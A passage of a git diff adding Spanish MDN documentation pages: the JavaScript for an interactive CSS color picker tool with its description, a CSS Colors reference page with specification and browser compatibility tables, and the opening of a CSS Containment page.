+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	};
+
+	var getPrecision =  function getPrecision(topic) {
+		return sliders[topic].precision;
+	};
+
+	var getStep =  function getStep(topic) {
+		return sliders[topic].step;
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.value);
+	};
+
+	var createSlider = function createSlider(topic, label) {
+		var slider = document.createElement('div');
+		slider.className = 'ui-input-slider';
+		slider.setAttribute('data-topic', topic);
+
+		if (label !== undefined)
+			slider.setAttribute('data-info', label);
+
+		new InputSlider(slider);
+		return slider;
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	};
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		setStep : setStep,
+		getNode : getNode,
+		getStep : getStep,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		setPrecision : setPrecision,
+		setSensivity : setSensivity,
+		getPrecision : getPrecision,
+		createSlider : createSlider,
+	};
+
+})();
+
+
+'use strict';
+
+window.addEventListener("load", function() {
+	ColorPickerTool.init();
+});
+
+var ColorPickerTool = (function ColorPickerTool() {
+
+	/*========== Get DOM Element By ID ==========*/
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	function allowDropEvent(e) {
+		e.preventDefault();
+	}
+
+	/*========== Make an element resizable relative to it's parent ==========*/
+
+	var UIComponent = (function UIComponent() {
+
+		function makeResizable(elem, axis) {
+			var valueX = 0;
+			var valueY = 0;
+			var action = 0;
+
+			var resizeStart = function resizeStart(e) {
+				e.stopPropagation();
+				e.preventDefault();
+				if (e.button !== 0)
+					return;
+
+				valueX = e.clientX - elem.clientWidth;
+				valueY = e.clientY - elem.clientHeight;
+
+				document.body.setAttribute('data-resize', axis);
+				document.addEventListener('mousemove', mouseMove);
+				document.addEventListener('mouseup', resizeEnd);
+			};
+
+			var mouseMove = function mouseMove(e) {
+				if (action &gt;= 0)
+					elem.style.width = e.clientX - valueX + 'px';
+				if (action &lt;= 0)
+					elem.style.height = e.clientY - valueY + 'px';
+			};
+
+			var resizeEnd = function resizeEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.body.removeAttribute('data-resize', axis);
+				document.removeEventListener('mousemove', mouseMove);
+				document.removeEventListener('mouseup', resizeEnd);
+			};
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			if (axis === 'width') action = 1;
+			else if (axis === 'height') action = -1;
+			else axis = 'both';
+
+			handle.className = 'resize-handle';
+			handle.setAttribute('data-resize', axis);
+			handle.addEventListener('mousedown', resizeStart);
+			elem.appendChild(handle);
+		};
+
+		/*========== Make an element draggable relative to it's parent ==========*/
+
+		var makeDraggable = function makeDraggable(elem, endFunction) {
+
+			var offsetTop;
+			var offsetLeft;
+
+			elem.setAttribute('data-draggable', 'true');
+
+			var dragStart = function dragStart(e) {
+				e.preventDefault();
+				e.stopPropagation();
+
+				if (e.target.getAttribute('data-draggable') !== 'true' ||
+					e.target !== elem || e.button !== 0)
+					return;
+
+				offsetLeft = e.clientX - elem.offsetLeft;
+				offsetTop = e.clientY - elem.offsetTop;
+
+				document.addEventListener('mousemove', mouseDrag);
+				document.addEventListener('mouseup', dragEnd);
+			};
+
+			var dragEnd = function dragEnd(e) {
+				if (e.button !== 0)
+					return;
+
+				document.removeEventListener('mousemove', mouseDrag);
+				document.removeEventListener('mouseup', dragEnd);
+			};
+
+			var mouseDrag = function mouseDrag(e) {
+				elem.style.left = e.clientX - offsetLeft + 'px';
+				elem.style.top = e.clientY - offsetTop + 'px';
+			};
+
+			elem.addEventListener('mousedown', dragStart, false);
+		};
+
+		return {
+			makeResizable : makeResizable,
+			makeDraggable : makeDraggable
+		};
+
+	})();
+
+	/*========== Color Class ==========*/
+
+	var Color = UIColorPicker.Color;
+	var HSLColor = UIColorPicker.HSLColor;
+
+	/**
+	 * ColorPalette
+	 */
+	var ColorPalette = (function ColorPalette() {
+
+		var samples = [];
+		var color_palette;
+		var complementary;
+
+		var hideNode = function(node) {
+			node.setAttribute('data-hidden', 'true');
+		};
+
+		var ColorSample = function ColorSample(id) {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = new Color();
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('click', this.pickColor.bind(this));
+
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateHue = function updateHue(color, degree, steps) {
+			this.color.copy(color);
+			var hue = (steps * degree + this.color.hue) % 360;
+			if (hue &lt; 0) hue += 360;
+			this.color.setHue(hue);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateSaturation = function updateSaturation(color, value, steps) {
+			var saturation = color.saturation + value * steps;
+			if (saturation &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setSaturation(saturation);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateLightness = function updateLightness(color, value, steps) {
+			var lightness = color.lightness + value * steps;
+			if (lightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setLightness(lightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateBrightness = function updateBrightness(color, value, steps) {
+			var brightness = color.value + value * steps;
+			if (brightness &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.setValue(brightness);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.updateAlpha = function updateAlpha(color, value, steps) {
+			var alpha = parseFloat(color.a) + value * steps;
+			if (alpha &lt;= 0) {
+				this.node.setAttribute('data-hidden', 'true');
+				return;
+			}
+			this.node.removeAttribute('data-hidden');
+			this.color.copy(color);
+			this.color.a = parseFloat(alpha.toFixed(2));
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.pickColor = function pickColor() {
+			UIColorPicker.setColor('picker', this.color);
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'palette-samples');
+		};
+
+		var Palette = function Palette(text, size) {
+			this.samples = [];
+			this.locked = false;
+
+			var palette = document.createElement('div');
+			var title = document.createElement('div');
+			var controls = document.createElement('div');
+			var container = document.createElement('div');
+			var lock = document.createElement('div');
+
+			container.className = 'container';
+			title.className = 'title';
+			palette.className = 'palette';
+			controls.className = 'controls';
+			lock.className = 'lock';
+			title.textContent = text;
+
+			controls.appendChild(lock);
+			container.appendChild(title);
+			container.appendChild(controls);
+			container.appendChild(palette);
+
+			lock.addEventListener('click', function () {
+				this.locked = !this.locked;
+				lock.setAttribute('locked-state', this.locked);
+			}.bind(this));
+
+			for(var i = 0; i &lt; size; i++) {
+				var sample = new ColorSample();
+				this.samples.push(sample);
+				palette.appendChild(sample.node);
+			}
+
+			this.container = container;
+			this.title = title;
+		};
+
+		var createHuePalette = function createHuePalette() {
+			var palette = new Palette('Hue', 12);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 12; i++) {
+					palette.samples[i].updateHue(color, 30, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var createSaturationPalette = function createSaturationPalette() {
+			var palette = new Palette('Saturation', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 11; i++) {
+					palette.samples[i].updateSaturation(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		/* Brightness or Lightness - depends on the picker mode */
+		var createVLPalette = function createSaturationPalette() {
+			var palette = new Palette('Lightness', 11);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				if(color.format === 'HSL') {
+					palette.title.textContent = 'Lightness';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateLightness(color, -10, i);
+				}
+				else {
+					palette.title.textContent = 'Value';
+					for(var i = 0; i &lt; 11; i++)
+						palette.samples[i].updateBrightness(color, -10, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var isBlankPalette = function isBlankPalette(container, value) {
+			if (value === 0) {
+				container.setAttribute('data-collapsed', 'true');
+				return true;
+			}
+
+			container.removeAttribute('data-collapsed');
+			return false;
+		};
+
+		var createAlphaPalette = function createAlphaPalette() {
+			var palette = new Palette('Alpha', 10);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (palette.locked === true)
+					return;
+
+				for(var i = 0; i &lt; 10; i++) {
+					palette.samples[i].updateAlpha(color, -0.1, i);
+				}
+			});
+
+			color_palette.appendChild(palette.container);
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var init = function init() {
+			color_palette = getElemById('color-palette');
+
+			createHuePalette();
+			createSaturationPalette();
+			createVLPalette();
+			createAlphaPalette();
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor
+		};
+
+	})();
+
+	/**
+	 * ColorInfo
+	 */
+	var ColorInfo = (function ColorInfo() {
+
+		var info_box;
+		var select;
+		var RGBA;
+		var HEXA;
+		var HSLA;
+
+		var updateInfo = function updateInfo(color) {
+			if (color.a | 0 === 1) {
+				RGBA.info.textContent = 'RGB';
+				HSLA.info.textContent = 'HSL';
+			}
+			else {
+				RGBA.info.textContent = 'RGBA';
+				HSLA.info.textContent = 'HSLA';
+			}
+
+			RGBA.value.value = color.getRGBA();
+			HSLA.value.value = color.getHSLA();
+			HEXA.value.value = color.getHexa();
+		};
+
+		var InfoProperty = function InfoProperty(info) {
+
+			var node = document.createElement('div');
+			var title = document.createElement('div');
+			var value = document.createElement('input');
+			var copy = document.createElement('div');
+
+			node.className = 'property';
+			title.className = 'type';
+			value.className = 'value';
+			copy.className = 'copy';
+
+			title.textContent = info;
+			value.setAttribute('type', 'text');
+
+			copy.addEventListener('click', function() {
+				value.select();
+			});
+
+			node.appendChild(title);
+			node.appendChild(value);
+			node.appendChild(copy);
+
+			this.node = node;
+			this.value = value;
+			this.info = title;
+
+			info_box.appendChild(node);
+		};
+
+		var init = function init() {
+
+			info_box = getElemById('color-info');
+
+			RGBA = new InfoProperty('RGBA');
+			HSLA = new InfoProperty('HSLA');
+			HEXA = new InfoProperty('HEXA');
+
+			UIColorPicker.subscribe('picker', updateInfo);
+
+		};
+
+		return {
+			init: init
+		};
+
+	})();
+
+	/**
+	 * ColorPicker Samples
+	 */
+	var ColorPickerSamples = (function ColorPickerSamples() {
+
+		var samples = [];
+		var nr_samples = 0;
+		var active = null;
+		var container = null;
+		var	samples_per_line = 10;
+		var trash_can = null;
+		var base_color = new HSLColor(0, 50, 100);
+		var add_btn;
+		var add_btn_pos;
+
+		var ColorSample = function ColorSample() {
+			var node = document.createElement('div');
+			node.className = 'sample';
+
+			this.uid = samples.length;
+			this.index = nr_samples++;
+			this.node = node;
+			this.color = new Color(base_color);
+
+			node.setAttribute('sample-id', this.uid);
+			node.setAttribute('draggable', 'true');
+
+			node.addEventListener('dragstart', this.dragStart.bind(this));
+			node.addEventListener('dragover' , allowDropEvent);
+			node.addEventListener('drop'     , this.dragDrop.bind(this));
+
+			this.updatePosition(this.index);
+			this.updateBgColor();
+			samples.push(this);
+		};
+
+		ColorSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		ColorSample.prototype.updatePosition = function updatePosition(index) {
+			this.index = index;
+			this.posY = 5 + ((index / samples_per_line) | 0) * 52;
+			this.posX = 5 + ((index % samples_per_line) | 0) * 52;
+			this.node.style.top  = this.posY + 'px';
+			this.node.style.left = this.posX + 'px';
+		};
+
+		ColorSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.activate = function activate() {
+			UIColorPicker.setColor('picker', this.color);
+			this.node.setAttribute('data-active', 'true');
+		};
+
+		ColorSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+		};
+
+		ColorSample.prototype.dragStart = function dragStart(e) {
+			e.dataTransfer.setData('sampleID', this.uid);
+			e.dataTransfer.setData('location', 'picker-samples');
+		};
+
+		ColorSample.prototype.dragDrop = function dragDrop(e) {
+			e.stopPropagation();
+			this.color = Tool.getSampleColorFrom(e);
+			this.updateBgColor();
+		};
+
+		ColorSample.prototype.deleteSample = function deleteSample() {
+			container.removeChild(this.node);
+			samples[this.uid] = null;
+			nr_samples--;
+		};
+
+		var updateUI = function updateUI() {
+			updateContainerProp();
+
+			var index = 0;
+			var nr = samples.length;
+			for (var i=0; i &lt; nr; i++)
+				if (samples[i] !== null) {
+					samples[i].updatePosition(index);
+					index++;
+				}
+
+			AddSampleButton.updatePosition(index);
+		};
+
+		var deleteSample = function deleteSample(e) {
+			trash_can.parentElement.setAttribute('drag-state', 'none');
+
+			var location = e.dataTransfer.getData('location');
+			if (location !== 'picker-samples')
+				return;
+
+			var sampleID = e.dataTransfer.getData('sampleID');
+			samples[sampleID].deleteSample();
+			console.log(samples);
+
+			updateUI();
+		};
+
+		var createDropSample = function createDropSample() {
+			var sample = document.createElement('div');
+			sample.id = 'drop-effect-sample';
+			sample.className = 'sample';
+			container.appendChild(sample);
+		};
+
+		var setActivateSample = function setActivateSample(e) {
+			if (e.target.className !== 'sample')
+				return;
+
+			unsetActiveSample(active);
+			Tool.unsetVoidSample();
+			CanvasSamples.unsetActiveSample();
+			active = samples[e.target.getAttribute('sample-id')];
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var getSampleColor = function getSampleColor(id) {
+			if (samples[id] !== undefined &amp;&amp; samples[id]!== null)
+				return new Color(samples[id].color);
+		};
+
+		var updateContainerProp = function updateContainerProp() {
+			samples_per_line = ((container.clientWidth - 5) / 52) | 0;
+			var height = 52 * (1 + (nr_samples / samples_per_line) | 0);
+			container.style.height = height + 10 + 'px';
+		};
+
+		var AddSampleButton = (function AddSampleButton() {
+			var node;
+			var _index = 0;
+			var _posX;
+			var _posY;
+
+			var updatePosition = function updatePosition(index) {
+				_index = index;
+				_posY = 5 + ((index / samples_per_line) | 0) * 52;
+				_posX = 5 + ((index % samples_per_line) | 0) * 52;
+
+				node.style.top  = _posY + 'px';
+				node.style.left = _posX + 'px';
+			};
+
+			var addButtonClick = function addButtonClick() {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+				updatePosition(_index + 1);
+				updateUI();
+			};
+
+			var init = function init() {
+				node = document.createElement('div');
+				var icon = document.createElement('div');
+
+				node.className = 'sample';
+				icon.id = 'add-icon';
+				node.appendChild(icon);
+				node.addEventListener('click', addButtonClick);
+
+				updatePosition(0);
+				container.appendChild(node);
+			};
+
+			return {
+				init : init,
+				updatePosition : updatePosition
+			};
+		})();
+
+		var init = function init() {
+			container = getElemById('picker-samples');
+			trash_can = getElemById('trash-can');
+
+			AddSampleButton.init();
+
+			for (var i=0; i&lt;16; i++) {
+				var sample = new ColorSample();
+				container.appendChild(sample.node);
+			}
+
+			AddSampleButton.updatePosition(samples.length);
+			updateUI();
+
+			active = samples[0];
+			active.activate();
+
+			container.addEventListener('click', setActivateSample);
+
+			trash_can.addEventListener('dragover', allowDropEvent);
+			trash_can.addEventListener('dragenter', function() {
+				this.parentElement.setAttribute('drag-state', 'enter');
+			});
+			trash_can.addEventListener('dragleave', function(e) {
+				this.parentElement.setAttribute('drag-state', 'none');
+			});
+			trash_can.addEventListener('drop', deleteSample);
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)
+					active.updateColor(color);
+			});
+
+		};
+
+		return {
+			init : init,
+			getSampleColor : getSampleColor,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	/**
+	 * Canvas Samples
+	 */
+	var CanvasSamples = (function CanvasSamples() {
+
+		var active = null;
+		var canvas = null;
+		var samples = [];
+		var zindex = null;
+		var tutorial = true;
+
+		var CanvasSample = function CanvasSample(color, posX, posY) {
+
+			var node = document.createElement('div');
+			var pick = document.createElement('div');
+			var delete_btn = document.createElement('div');
+			node.className = 'sample';
+			pick.className = 'pick';
+			delete_btn.className = 'delete';
+
+			this.uid = samples.length;
+			this.node = node;
+			this.color = color;
+			this.updateBgColor();
+			this.zIndex = 1;
+
+			node.style.top = posY - 50 + 'px';
+			node.style.left = posX - 50 + 'px';
+			node.setAttribute('sample-id', this.uid);
+
+			node.appendChild(pick);
+			node.appendChild(delete_btn);
+
+			var activate = function activate() {
+				setActiveSample(this);
+			}.bind(this);
+
+			node.addEventListener('dblclick', activate);
+			pick.addEventListener('click', activate);
+			delete_btn.addEventListener('click', this.deleteSample.bind(this));
+
+			UIComponent.makeDraggable(node);
+			UIComponent.makeResizable(node);
+
+			samples.push(this);
+			canvas.appendChild(node);
+			return this;
+		};
+
+		CanvasSample.prototype.updateBgColor = function updateBgColor() {
+			this.node.style.backgroundColor = this.color.getColor();
+		};
+
+		CanvasSample.prototype.updateColor = function updateColor(color) {
+			this.color.copy(color);
+			this.updateBgColor();
+		};
+
+		CanvasSample.prototype.updateZIndex = function updateZIndex(value) {
+			this.zIndex = value;
+			this.node.style.zIndex = value;
+		};
+
+		CanvasSample.prototype.activate = function activate() {
+			this.node.setAttribute('data-active', 'true');
+			zindex.setAttribute('data-active', 'true');
+
+			UIColorPicker.setColor('picker', this.color);
+			InputSliderManager.setValue('z-index', this.zIndex);
+		};
+
+		CanvasSample.prototype.deactivate = function deactivate() {
+			this.node.removeAttribute('data-active');
+			zindex.removeAttribute('data-active');
+		};
+
+		CanvasSample.prototype.deleteSample = function deleteSample() {
+			if (active === this)
+				unsetActiveSample();
+			canvas.removeChild(this.node);
+			samples[this.uid] = null;
+		};
+
+		CanvasSample.prototype.updatePosition = function updatePosition(posX, posY) {
+			this.node.style.top = posY - this.startY + 'px';
+			this.node.style.left = posX - this.startX + 'px';
+		};
+
+		var canvasDropEvent = function canvasDropEvent(e) {
+			var color = Tool.getSampleColorFrom(e);
+
+			if (color) {
+				var offsetX = e.pageX - canvas.offsetLeft;
+				var offsetY = e.pageY - canvas.offsetTop;
+				var sample = new CanvasSample(color, offsetX, offsetY);
+				if (tutorial) {
+					tutorial = false;
+					canvas.removeAttribute('data-tutorial');
+					var info = new CanvasSample(new Color(), 100, 100);
+					info.node.setAttribute('data-tutorial', 'dblclick');
+				}
+			}
+
+		};
+
+		var setActiveSample = function setActiveSample(sample) {
+			ColorPickerSamples.unsetActiveSample();
+			Tool.unsetVoidSample();
+			unsetActiveSample();
+			active = sample;
+			active.activate();
+		};
+
+		var unsetActiveSample = function unsetActiveSample() {
+			if (active)
+				active.deactivate();
+			active = null;
+		};
+
+		var createToggleBgButton = function createToggleBgButton() {
+			var button = document.createElement('div');
+			var state = false;
+			button.className = 'toggle-bg';
+			canvas.appendChild(button);
+
+			button.addEventListener('click', function() {
+				console.log(state);
+				state = !state;
+				canvas.setAttribute('data-bg', state);
+			});
+		};
+
+		var init = function init() {
+			canvas = getElemById('canvas');
+			zindex = getElemById('zindex');
+
+			canvas.addEventListener('dragover', allowDropEvent);
+			canvas.addEventListener('drop', canvasDropEvent);
+
+			createToggleBgButton();
+
+			UIColorPicker.subscribe('picker', function(color) {
+				if (active)	active.updateColor(color);
+			});
+
+			InputSliderManager.subscribe('z-index', function (value) {
+				if (active)	active.updateZIndex(value);
+			});
+
+			UIComponent.makeResizable(canvas, 'height');
+		};
+
+		return {
+			init : init,
+			unsetActiveSample : unsetActiveSample
+		};
+
+	})();
+
+	var StateButton = function StateButton(node, state) {
+		this.state = false;
+		this.callback = null;
+
+		node.addEventListener('click', function() {
+			this.state = !this.state;
+			if (typeof this.callback === "function")
+				this.callback(this.state);
+		}.bind(this));
+	};
+
+	StateButton.prototype.set = function set() {
+		this.state = true;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.unset = function unset() {
+		this.state = false;
+		if (typeof this.callback === "function")
+			this.callback(this.state);
+	};
+
+	StateButton.prototype.subscribe = function subscribe(func) {
+		this.callback = func;
+	};
+
+
+	/**
+	 * Tool
+	 */
+	var Tool = (function Tool() {
+
+		var samples = [];
+		var controls = null;
+		var void_sw;
+
+		var createPickerModeSwitch = function createPickerModeSwitch() {
+			var parent = getElemById('controls');
+			var icon = document.createElement('div');
+			var button = document.createElement('div');
+			var hsv = document.createElement('div');
+			var hsl = document.createElement('div');
+			var active = null;
+
+			icon.className = 'icon picker-icon';
+			button.className = 'switch';
+			button.appendChild(hsv);
+			button.appendChild(hsl);
+
+			hsv.textContent = 'HSV';
+			hsl.textContent = 'HSL';
+
+			active = hsl;
+			active.setAttribute('data-active', 'true');
+
+			function switchPickingModeTo(elem) {
+				active.removeAttribute('data-active');
+				active = elem;
+				active.setAttribute('data-active', 'true');
+				UIColorPicker.setPickerMode('picker', active.textContent);
+			};
+
+			var picker_sw = new StateButton(icon);
+			picker_sw.subscribe(function() {
+				if (active === hsv)
+					switchPickingModeTo(hsl);
+				else
+					switchPickingModeTo(hsv);
+			});
+
+			hsv.addEventListener('click', function() {
+				switchPickingModeTo(hsv);
+			});
+			hsl.addEventListener('click', function() {
+				switchPickingModeTo(hsl);
+			});
+
+			parent.appendChild(icon);
+			parent.appendChild(button);
+		};
+
+		var setPickerDragAndDrop = function setPickerDragAndDrop() {
+			var preview = document.querySelector('#picker .preview-color');
+			var picking_area = document.querySelector('#picker .picking-area');
+
+			preview.setAttribute('draggable', 'true');
+			preview.addEventListener('drop', drop);
+			preview.addEventListener('dragstart', dragStart);
+			preview.addEventListener('dragover', allowDropEvent);
+
+			picking_area.addEventListener('drop', drop);
+			picking_area.addEventListener('dragover', allowDropEvent);
+
+			function drop(e) {
+				var color = getSampleColorFrom(e);
+				UIColorPicker.setColor('picker', color);
+			};
+
+			function dragStart(e) {
+				e.dataTransfer.setData('sampleID', 'picker');
+				e.dataTransfer.setData('location', 'picker');
+			};
+		};
+
+		var getSampleColorFrom = function getSampleColorFrom(e) {
+			var sampleID = e.dataTransfer.getData('sampleID');
+			var location = e.dataTransfer.getData('location');
+
+			if (location === 'picker')
+				return UIColorPicker.getColor(sampleID);
+			if (location === 'picker-samples')
+				return ColorPickerSamples.getSampleColor(sampleID);
+			if (location === 'palette-samples')
+				return ColorPalette.getSampleColor(sampleID);
+		};
+
+		var setVoidSwitch = function setVoidSwitch() {
+			var void_sample = getElemById('void-sample');
+			void_sw = new StateButton(void_sample);
+			void_sw.subscribe( function (state) {
+				void_sample.setAttribute('data-active', state);
+				if (state === true) {
+					ColorPickerSamples.unsetActiveSample();
+					CanvasSamples.unsetActiveSample();
+				}
+			});
+		};
+
+		var unsetVoidSample = function unsetVoidSample() {
+			void_sw.unset();
+		};
+
+		var init = function init() {
+			controls = getElemById('controls');
+
+			var color = new Color();
+			color.setHSL(0, 51, 51);
+			UIColorPicker.setColor('picker', color);
+
+			setPickerDragAndDrop();
+			createPickerModeSwitch();
+			setVoidSwitch();
+		};
+
+		return {
+			init : init,
+			unsetVoidSample : unsetVoidSample,
+			getSampleColorFrom : getSampleColorFrom
+		};
+
+	})();
+
+	var init = function init() {
+		UIColorPicker.init();
+		InputSliderManager.init();
+		ColorInfo.init();
+		ColorPalette.init();
+		ColorPickerSamples.init();
+		CanvasSamples.init();
+		Tool.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+
+<p>{{CSSRef}}</p>
+
+<p>Esta herramienta facilita crear, ajustar, y experimentar con colores personalizados para uso web. Además permite facilmente convertir entre varios formatos de color soportados por CSS, incluyendo: HEXA, RGB y HSL.  También soporta el control de alpha en los formatos RGB (rgba) y HSL (hsla).</p>
+
+<p>Cada color se presenta en los 3 formatos estándar de CSS mientras se ajusta; además,  basada en el color actual, se genera una paleta para HSL y HSV, así como para alpha. El recuadro "eyedropper" se puede cambiar entre los formatos HSL y HSC.</p>
+
+<p>{{ EmbedLiveSample('ColorPicker_Tool', '100%', '900') }}</p>
+
+<p> </p>
diff --git a/files/es/web/css/css_colors/index.html b/files/es/web/css/css_colors/index.html
new file mode 100644
index 0000000000..586b0e85e4
--- /dev/null
+++ b/files/es/web/css/css_colors/index.html
@@ -0,0 +1,119 @@
+---
+title: CSS Colors
+slug: Web/CSS/CSS_Colors
+tags:
+  - CSS
+  - CSS Colors
+  - NeedsTranslation
+  - Overview
+  - Reference
+  - TopicStub
+translation_of: Web/CSS/CSS_Color
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Los colores CSS</strong> son un módulo de CSS que trabaja con colores, tipos de colores y transparencias.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("color")}}</li>
+ <li>{{cssxref("opacity")}}</li>
+</ul>
+</div>
+
+<h3 id="Tipos_de_datos_CSS">Tipos de datos CSS</h3>
+
+<p>{{cssxref("&lt;color&gt;")}}</p>
+
+<h2 id="Guías">Guías</h2>
+
+<p><em>Ninguna.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Colors')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoMobile("1")}}</td>
+   <td>6.0</td>
+   <td>6.0</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>En CSS, las gradientes no son colores sino <a href="/en-US/docs/Web/CSS/CSS_Images">imágenes</a>.</li>
+</ul>
diff --git a/files/es/web/css/css_containment/index.html b/files/es/web/css/css_containment/index.html
new file mode 100644
index 0000000000..f0e1bb357d
--- /dev/null
+++ b/files/es/web/css/css_containment/index.html
@@ -0,0 +1,124 @@
+---
+title: CSS Containment
+slug: Web/CSS/CSS_Containment
+translation_of: Web/CSS/CSS_Containment
+---
+<div>{{CSSRef}}</div>
+<p>
+ El objetivo de la espicificación CSS Containment es mejorar el rendimiento de las páginas web permitiendo a los desarrolladores aislar un subárbol del resto de la página. Si el navegador sabe si una parte de la página es independiente, se puede optimizar la renderización y el rendimiento mejora. La especificación define una única propiedad CSS {{cssxref("contain")}}. Este documento relata los objetivos básicos de la especificación.</p>
+
+<h2 id="Ejemplo_básico">Ejemplo básico</h2>
+
+<p>Muchas páginas web contienen un número de secciones que don independientes entre sí. Por ejemplo una lista de encabezados de artículo y un contenido, como en el siguiente marcado.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Mi blog&lt;/h1&gt;
+&lt;article&gt;
+  &lt;h2&gt;Encabezado de un bonito artículo&lt;/h2&gt;
+  &lt;p&gt;Contenido del artículo.&lt;/p&gt;
+&lt;/article&gt;
+&lt;article&gt;
+  &lt;h2&gt;Otro encabezado de otro artículo&lt;/h2&gt;
+  &lt;p&gt;Más contenido.&lt;/p&gt;
+&lt;/article&gt;</pre>
+
+<p>Cada artículo tiene la propiedad {{cssxref("contain")}} con valor <code>content</code> aplicado en el CSS.</p>
+
+<pre class="brush: css notranslate">article {
